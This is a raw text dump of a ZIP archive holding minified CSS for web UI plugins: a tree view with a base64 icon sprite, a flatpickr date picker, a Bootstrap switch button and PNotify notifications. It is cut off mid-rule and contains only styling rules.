span.vtree-toggle { background-position: -54px 0; } .vtree a.vtree-leaf-label { line-height: 18px; display: inline-block; vertical-align: top; cursor: pointer; max-width: 100%; margin-left: 18px; padding: 0 2px; } .vtree li.vtree-leaf a.vtree-leaf-label:hover { background-color: #e7f4f9; outline: 1px solid #d8f0fa; } .vtree li.vtree-leaf.vtree-selected > a.vtree-leaf-label { background-color: #beebff; outline: 1px solid #99defd; } .vtree-contextmenu { position: absolute; z-index: 9999999; border: solid 1px #ccc; background: #eee; padding: 0px; margin: 0px; display: none; } .vtree-contextmenu li { list-style: none; padding: 1px 5px; margin: 0px; color: #333; line-height: 20px; height: 20px; cursor: default; } .vtree-contextmenu li:hover { color: #fff; background-color: #3399ff; } .vtree li.vtree-leaf, .vtree li.vtree-leaf::before, .vtree li.vtree-leaf.vtree-has-children > span.vtree-toggle { background-image: url(data:image/png;base64,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); } PKZ4 &?&?css/plugins/flatpickr.min.cssnu[.flatpickr-calendar{background:transparent;opacity:0;display:none;text-align:center;visibility:hidden;padding:0;-webkit-animation:none;animation:none;direction:ltr;border:0;font-size:14px;line-height:24px;border-radius:5px;position:absolute;width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;-ms-touch-action:manipulation;touch-action:manipulation;background:#fff;-webkit-box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,0.08);box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 3px 13px rgba(0,0,0,0.08)}.flatpickr-calendar.open,.flatpickr-calendar.inline{opacity:1;max-height:640px;visibility:visible}.flatpickr-calendar.open{display:inline-block;z-index:99999}.flatpickr-calendar.animate.open{-webkit-animation:fpFadeInDown 300ms cubic-bezier(.23,1,.32,1);animation:fpFadeInDown 300ms cubic-bezier(.23,1,.32,1)}.flatpickr-calendar.inline{display:block;position:relative;top:2px}.flatpickr-calendar.static{position:absolute;top:calc(100% + 2px)}.flatpickr-calendar.static.open{z-index:999;display:block}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+1) .flatpickr-day.inRange:nth-child(7n+7){-webkit-box-shadow:none !important;box-shadow:none !important}.flatpickr-calendar.multiMonth .flatpickr-days .dayContainer:nth-child(n+2) .flatpickr-day.inRange:nth-child(7n+1){-webkit-box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-2px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-calendar .hasWeeks .dayContainer,.flatpickr-calendar .hasTime .dayContainer{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.flatpickr-calendar .hasWeeks .dayContainer{border-left:0}.flatpickr-calendar.hasTime .flatpickr-time{height:40px;border-top:1px solid #e6e6e6}.flatpickr-calendar.noCalendar.hasTime .flatpickr-time{height:auto}.flatpickr-calendar:before,.flatpickr-calendar:after{position:absolute;display:block;pointer-events:none;border:solid transparent;content:'';height:0;width:0;left:22px}.flatpickr-calendar.rightMost:before,.flatpickr-calendar.arrowRight:before,.flatpickr-calendar.rightMost:after,.flatpickr-calendar.arrowRight:after{left:auto;right:22px}.flatpickr-calendar.arrowCenter:before,.flatpickr-calendar.arrowCenter:after{left:50%;right:50%}.flatpickr-calendar:before{border-width:5px;margin:0 -5px}.flatpickr-calendar:after{border-width:4px;margin:0 -4px}.flatpickr-calendar.arrowTop:before,.flatpickr-calendar.arrowTop:after{bottom:100%}.flatpickr-calendar.arrowTop:before{border-bottom-color:#e6e6e6}.flatpickr-calendar.arrowTop:after{border-bottom-color:#fff}.flatpickr-calendar.arrowBottom:before,.flatpickr-calendar.arrowBottom:after{top:100%}.flatpickr-calendar.arrowBottom:before{border-top-color:#e6e6e6}.flatpickr-calendar.arrowBottom:after{border-top-color:#fff}.flatpickr-calendar:focus{outline:0}.flatpickr-wrapper{position:relative;display:inline-block}.flatpickr-months{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-months .flatpickr-month{background:transparent;color:rgba(0,0,0,0.9);fill:rgba(0,0,0,0.9);height:34px;line-height:1;text-align:center;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:hidden;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}.flatpickr-months .flatpickr-prev-month,.flatpickr-months .flatpickr-next-month{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;text-decoration:none;cursor:pointer;position:absolute;top:0;height:34px;padding:10px;z-index:3;color:rgba(0,0,0,0.9);fill:rgba(0,0,0,0.9)}.flatpickr-months .flatpickr-prev-month.flatpickr-disabled,.flatpickr-months .flatpickr-next-month.flatpickr-disabled{display:none}.flatpickr-months .flatpickr-prev-month i,.flatpickr-months .flatpickr-next-month i{position:relative}.flatpickr-months .flatpickr-prev-month.flatpickr-prev-month,.flatpickr-months .flatpickr-next-month.flatpickr-prev-month{/* /*rtl:begin:ignore*/left:0/* /*rtl:end:ignore*/}/* /*rtl:begin:ignore*/ /* /*rtl:end:ignore*/ .flatpickr-months .flatpickr-prev-month.flatpickr-next-month,.flatpickr-months .flatpickr-next-month.flatpickr-next-month{/* /*rtl:begin:ignore*/right:0/* /*rtl:end:ignore*/}/* /*rtl:begin:ignore*/ /* /*rtl:end:ignore*/ .flatpickr-months .flatpickr-prev-month:hover,.flatpickr-months .flatpickr-next-month:hover{color:#959ea9}.flatpickr-months .flatpickr-prev-month:hover svg,.flatpickr-months .flatpickr-next-month:hover svg{fill:#f64747}.flatpickr-months .flatpickr-prev-month svg,.flatpickr-months .flatpickr-next-month svg{width:14px;height:14px}.flatpickr-months .flatpickr-prev-month svg path,.flatpickr-months .flatpickr-next-month svg path{-webkit-transition:fill .1s;transition:fill .1s;fill:inherit}.numInputWrapper{position:relative;height:auto}.numInputWrapper input,.numInputWrapper span{display:inline-block}.numInputWrapper input{width:100%}.numInputWrapper input::-ms-clear{display:none}.numInputWrapper input::-webkit-outer-spin-button,.numInputWrapper input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none}.numInputWrapper span{position:absolute;right:0;width:14px;padding:0 4px 0 2px;height:50%;line-height:50%;opacity:0;cursor:pointer;border:1px solid rgba(57,57,57,0.15);-webkit-box-sizing:border-box;box-sizing:border-box}.numInputWrapper span:hover{background:rgba(0,0,0,0.1)}.numInputWrapper span:active{background:rgba(0,0,0,0.2)}.numInputWrapper span:after{display:block;content:"";position:absolute}.numInputWrapper span.arrowUp{top:0;border-bottom:0}.numInputWrapper span.arrowUp:after{border-left:4px solid transparent;border-right:4px solid transparent;border-bottom:4px solid rgba(57,57,57,0.6);top:26%}.numInputWrapper span.arrowDown{top:50%}.numInputWrapper span.arrowDown:after{border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid rgba(57,57,57,0.6);top:40%}.numInputWrapper span svg{width:inherit;height:auto}.numInputWrapper span svg path{fill:rgba(0,0,0,0.5)}.numInputWrapper:hover{background:rgba(0,0,0,0.05)}.numInputWrapper:hover span{opacity:1}.flatpickr-current-month{font-size:135%;line-height:inherit;font-weight:300;color:inherit;position:absolute;width:75%;left:12.5%;padding:7.48px 0 0 0;line-height:1;height:34px;display:inline-block;text-align:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.flatpickr-current-month span.cur-month{font-family:inherit;font-weight:700;color:inherit;display:inline-block;margin-left:.5ch;padding:0}.flatpickr-current-month span.cur-month:hover{background:rgba(0,0,0,0.05)}.flatpickr-current-month .numInputWrapper{width:6ch;width:7ch\0;display:inline-block}.flatpickr-current-month .numInputWrapper span.arrowUp:after{border-bottom-color:rgba(0,0,0,0.9)}.flatpickr-current-month .numInputWrapper span.arrowDown:after{border-top-color:rgba(0,0,0,0.9)}.flatpickr-current-month input.cur-year{background:transparent;-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;cursor:text;padding:0 0 0 .5ch;margin:0;display:inline-block;font-size:inherit;font-family:inherit;font-weight:300;line-height:inherit;height:auto;border:0;border-radius:0;vertical-align:initial;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-current-month input.cur-year:focus{outline:0}.flatpickr-current-month input.cur-year[disabled],.flatpickr-current-month input.cur-year[disabled]:hover{font-size:100%;color:rgba(0,0,0,0.5);background:transparent;pointer-events:none}.flatpickr-current-month .flatpickr-monthDropdown-months{appearance:menulist;background:transparent;border:none;border-radius:0;box-sizing:border-box;color:inherit;cursor:pointer;font-size:inherit;font-family:inherit;font-weight:300;height:auto;line-height:inherit;margin:-1px 0 0 0;outline:none;padding:0 0 0 .5ch;position:relative;vertical-align:initial;-webkit-box-sizing:border-box;-webkit-appearance:menulist;-moz-appearance:menulist;width:auto}.flatpickr-current-month .flatpickr-monthDropdown-months:focus,.flatpickr-current-month .flatpickr-monthDropdown-months:active{outline:none}.flatpickr-current-month .flatpickr-monthDropdown-months:hover{background:rgba(0,0,0,0.05)}.flatpickr-current-month .flatpickr-monthDropdown-months .flatpickr-monthDropdown-month{background-color:transparent;outline:none;padding:0}.flatpickr-weekdays{background:transparent;text-align:center;overflow:hidden;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:28px}.flatpickr-weekdays .flatpickr-weekdaycontainer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}span.flatpickr-weekday{cursor:default;font-size:90%;background:transparent;color:rgba(0,0,0,0.54);line-height:1;margin:0;text-align:center;display:block;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;font-weight:bolder}.dayContainer,.flatpickr-weeks{padding:1px 0 0 0}.flatpickr-days{position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;width:307.875px}.flatpickr-days:focus{outline:0}.dayContainer{padding:0;outline:0;text-align:left;width:307.875px;min-width:307.875px;max-width:307.875px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;display:-ms-flexbox;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-wrap:wrap;-ms-flex-pack:justify;-webkit-justify-content:space-around;justify-content:space-around;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.dayContainer + .dayContainer{-webkit-box-shadow:-1px 0 0 #e6e6e6;box-shadow:-1px 0 0 #e6e6e6}.flatpickr-day{background:none;border:1px solid transparent;border-radius:150px;-webkit-box-sizing:border-box;box-sizing:border-box;color:#393939;cursor:pointer;font-weight:400;width:14.2857143%;-webkit-flex-basis:14.2857143%;-ms-flex-preferred-size:14.2857143%;flex-basis:14.2857143%;max-width:39px;height:39px;line-height:39px;margin:0;display:inline-block;position:relative;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;text-align:center}.flatpickr-day.inRange,.flatpickr-day.prevMonthDay.inRange,.flatpickr-day.nextMonthDay.inRange,.flatpickr-day.today.inRange,.flatpickr-day.prevMonthDay.today.inRange,.flatpickr-day.nextMonthDay.today.inRange,.flatpickr-day:hover,.flatpickr-day.prevMonthDay:hover,.flatpickr-day.nextMonthDay:hover,.flatpickr-day:focus,.flatpickr-day.prevMonthDay:focus,.flatpickr-day.nextMonthDay:focus{cursor:pointer;outline:0;background:#e6e6e6;border-color:#e6e6e6}.flatpickr-day.today{border-color:#959ea9}.flatpickr-day.today:hover,.flatpickr-day.today:focus{border-color:#959ea9;background:#959ea9;color:#fff}.flatpickr-day.selected,.flatpickr-day.startRange,.flatpickr-day.endRange,.flatpickr-day.selected.inRange,.flatpickr-day.startRange.inRange,.flatpickr-day.endRange.inRange,.flatpickr-day.selected:focus,.flatpickr-day.startRange:focus,.flatpickr-day.endRange:focus,.flatpickr-day.selected:hover,.flatpickr-day.startRange:hover,.flatpickr-day.endRange:hover,.flatpickr-day.selected.prevMonthDay,.flatpickr-day.startRange.prevMonthDay,.flatpickr-day.endRange.prevMonthDay,.flatpickr-day.selected.nextMonthDay,.flatpickr-day.startRange.nextMonthDay,.flatpickr-day.endRange.nextMonthDay{background:#569ff7;-webkit-box-shadow:none;box-shadow:none;color:#fff;border-color:#569ff7}.flatpickr-day.selected.startRange,.flatpickr-day.startRange.startRange,.flatpickr-day.endRange.startRange{border-radius:50px 0 0 50px}.flatpickr-day.selected.endRange,.flatpickr-day.startRange.endRange,.flatpickr-day.endRange.endRange{border-radius:0 50px 50px 0}.flatpickr-day.selected.startRange + .endRange:not(:nth-child(7n+1)),.flatpickr-day.startRange.startRange + .endRange:not(:nth-child(7n+1)),.flatpickr-day.endRange.startRange + .endRange:not(:nth-child(7n+1)){-webkit-box-shadow:-10px 0 0 #569ff7;box-shadow:-10px 0 0 #569ff7}.flatpickr-day.selected.startRange.endRange,.flatpickr-day.startRange.startRange.endRange,.flatpickr-day.endRange.startRange.endRange{border-radius:50px}.flatpickr-day.inRange{border-radius:0;-webkit-box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6;box-shadow:-5px 0 0 #e6e6e6,5px 0 0 #e6e6e6}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover,.flatpickr-day.prevMonthDay,.flatpickr-day.nextMonthDay,.flatpickr-day.notAllowed,.flatpickr-day.notAllowed.prevMonthDay,.flatpickr-day.notAllowed.nextMonthDay{color:rgba(57,57,57,0.3);background:transparent;border-color:transparent;cursor:default}.flatpickr-day.flatpickr-disabled,.flatpickr-day.flatpickr-disabled:hover{cursor:not-allowed;color:rgba(57,57,57,0.1)}.flatpickr-day.week.selected{border-radius:0;-webkit-box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7;box-shadow:-5px 0 0 #569ff7,5px 0 0 #569ff7}.flatpickr-day.hidden{visibility:hidden}.rangeMode .flatpickr-day{margin-top:1px}.flatpickr-weekwrapper{float:left}.flatpickr-weekwrapper .flatpickr-weeks{padding:0 12px;-webkit-box-shadow:1px 0 0 #e6e6e6;box-shadow:1px 0 0 #e6e6e6}.flatpickr-weekwrapper .flatpickr-weekday{float:none;width:100%;line-height:28px}.flatpickr-weekwrapper span.flatpickr-day,.flatpickr-weekwrapper span.flatpickr-day:hover{display:block;width:100%;max-width:none;color:rgba(57,57,57,0.3);background:transparent;cursor:default;border:none}.flatpickr-innerContainer{display:block;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden}.flatpickr-rContainer{display:inline-block;padding:0;-webkit-box-sizing:border-box;box-sizing:border-box}.flatpickr-time{text-align:center;outline:0;display:block;height:0;line-height:40px;max-height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.flatpickr-time:after{content:"";display:table;clear:both}.flatpickr-time .numInputWrapper{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;width:40%;height:40px;float:left}.flatpickr-time .numInputWrapper span.arrowUp:after{border-bottom-color:#393939}.flatpickr-time .numInputWrapper span.arrowDown:after{border-top-color:#393939}.flatpickr-time.hasSeconds .numInputWrapper{width:26%}.flatpickr-time.time24hr .numInputWrapper{width:49%}.flatpickr-time input{background:transparent;-webkit-box-shadow:none;box-shadow:none;border:0;border-radius:0;text-align:center;margin:0;padding:0;height:inherit;line-height:inherit;color:#393939;font-size:14px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.flatpickr-time input.flatpickr-hour{font-weight:bold}.flatpickr-time input.flatpickr-minute,.flatpickr-time input.flatpickr-second{font-weight:400}.flatpickr-time input:focus{outline:0;border:0}.flatpickr-time .flatpickr-time-separator,.flatpickr-time .flatpickr-am-pm{height:inherit;float:left;line-height:inherit;color:#393939;font-weight:bold;width:2%;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.flatpickr-time .flatpickr-am-pm{outline:0;width:18%;cursor:pointer;text-align:center;font-weight:400}.flatpickr-time input:hover,.flatpickr-time .flatpickr-am-pm:hover,.flatpickr-time input:focus,.flatpickr-time .flatpickr-am-pm:focus{background:#eee}.flatpickr-input[readonly]{cursor:pointer}@-webkit-keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes fpFadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}PKZ7ӡk k +css/plugins/bootstrap-switch-button.min.cssnu[.btn-group-xs>.btn,.btn-xs{padding:.35rem .4rem .25rem .4rem;font-size:.875rem;line-height:.5;border-radius:.2rem}.checkbox label .switch,.checkbox-inline .switch{margin-left:-1.25rem;margin-right:.35rem}.switch{position:relative;overflow:hidden}.switch.btn.btn-light,.switch.btn.btn-outline-light{border-color:rgba(0,0,0,.15)}.switch input[type=checkbox]{display:none}.switch-group{position:absolute;width:200%;top:0;bottom:0;left:0;transition:left .35s;-webkit-transition:left .35s;-moz-user-select:none;-webkit-user-select:none}.switch.off .switch-group{left:-100%}.switch-on{position:absolute;top:0;bottom:0;left:0;right:50%;margin:0;border:0;border-radius:0}.switch-off{position:absolute;top:0;bottom:0;left:50%;right:0;margin:0;border:0;border-radius:0;box-shadow:none}.switch-handle{position:relative;margin:0 auto;padding-top:0;padding-bottom:0;height:100%;width:0;border-width:0 1px;background-color:#fff}.switch.btn-outline-primary .switch-handle{background-color:var(--primary);border-color:var(--primary)}.switch.btn-outline-secondary .switch-handle{background-color:var(--secondary);border-color:var(--secondary)}.switch.btn-outline-success .switch-handle{background-color:var(--success);border-color:var(--success)}.switch.btn-outline-danger .switch-handle{background-color:var(--danger);border-color:var(--danger)}.switch.btn-outline-warning .switch-handle{background-color:var(--warning);border-color:var(--warning)}.switch.btn-outline-info .switch-handle{background-color:var(--info);border-color:var(--info)}.switch.btn-outline-light .switch-handle{background-color:var(--light);border-color:var(--light)}.switch.btn-outline-dark .switch-handle{background-color:var(--dark);border-color:var(--dark)}.switch[class*=btn-outline]:hover .switch-handle{background-color:var(--light);opacity:.5}.switch.btn{min-width:3.7rem;min-height:calc(1.5em + .75rem + 2px)}.switch-on.btn{padding-right:1.5rem}.switch-off.btn{padding-left:1.5rem}.switch.btn-lg{min-width:5rem;line-height:1.5;min-height:calc(1.5em + 1rem + 2px)}.switch-on.btn-lg{padding-right:2rem}.switch-off.btn-lg{padding-left:2rem}.switch-handle.btn-lg{width:2.5rem}.switch.btn-sm{min-width:3.25rem;min-height:calc(1.5em + .5rem + 2px)}.switch-on.btn-sm{padding-right:1rem}.switch-off.btn-sm{padding-left:1rem}.switch.btn-xs{min-width:3.125rem;min-height:1.375rem}.switch-on.btn-xs{padding-right:.8rem}.switch-off.btn-xs{padding-left:.8rem}PKZC|[88css/plugins/PNotify.cssnu[body>.pnotify.pnotify-positioned{position:fixed;z-index:100040}body>.pnotify.pnotify-modal{z-index:100042}.pnotify{height:auto;display:none;transition:opacity .1s linear;opacity:0}.pnotify.pnotify-positioned{position:absolute;z-index:1}.pnotify.pnotify-modal{z-index:3}.pnotify.pnotify-in{display:block;opacity:1}.pnotify.pnotify-initial{display:block}.pnotify-hidden{visibility:hidden}.pnotify.pnotify-move{transition:left .4s ease,top .4s ease,right .4s ease,bottom .4s ease}.pnotify.pnotify-fade-slow{transition:opacity .4s linear;opacity:0}.pnotify.pnotify-fade-slow.pnotify.pnotify-move{transition:opacity .4s linear,left .4s ease,top .4s ease,right .4s ease,bottom .4s ease}.pnotify.pnotify-fade-normal{transition:opacity .25s linear;opacity:0}.pnotify.pnotify-fade-normal.pnotify.pnotify-move{transition:opacity .25s linear,left .4s ease,top .4s ease,right .4s ease,bottom .4s ease}.pnotify.pnotify-fade-fast{transition:opacity .1s linear;opacity:0}.pnotify.pnotify-fade-fast.pnotify.pnotify-move{transition:opacity .1s linear,left .4s ease,top .4s ease,right .4s ease,bottom .4s ease}.pnotify.pnotify-masking{display:block;-webkit-mask-image:linear-gradient(180deg,rgba(0,0,0,.8),transparent 30px,transparent);mask-image:linear-gradient(180deg,rgba(0,0,0,.8),transparent 30px,transparent)}.pnotify.pnotify-masking.pnotify-stack-up{-webkit-mask-image:linear-gradient(0deg,rgba(0,0,0,.8),transparent 30px,transparent);mask-image:linear-gradient(0deg,rgba(0,0,0,.8),transparent 30px,transparent)}.pnotify.pnotify-masking.pnotify-stack-left{-webkit-mask-image:linear-gradient(270deg,rgba(0,0,0,.8),transparent 30px,transparent);mask-image:linear-gradient(270deg,rgba(0,0,0,.8),transparent 30px,transparent)}.pnotify.pnotify-masking.pnotify-stack-right{-webkit-mask-image:linear-gradient(90deg,rgba(0,0,0,.8),transparent 30px,transparent);mask-image:linear-gradient(90deg,rgba(0,0,0,.8),transparent 30px,transparent)}.pnotify.pnotify-fade-in,.pnotify.pnotify-masking-in{opacity:1}.pnotify .pnotify-shadow{-webkit-box-shadow:0 6px 28px 0 rgba(0,0,0,.1);-moz-box-shadow:0 6px 28px 0 rgba(0,0,0,.1);box-shadow:0 6px 28px 0 rgba(0,0,0,.1)}.pnotify-container{position:relative;background-position:0 0;padding:.8em;height:100%;margin:0}.pnotify-container:after{content:" ";visibility:hidden;display:block;height:0;clear:both}.pnotify-closer,.pnotify-sticker{float:right;margin-left:.5em;cursor:pointer}[dir=rtl] .pnotify-closer,[dir=rtl] 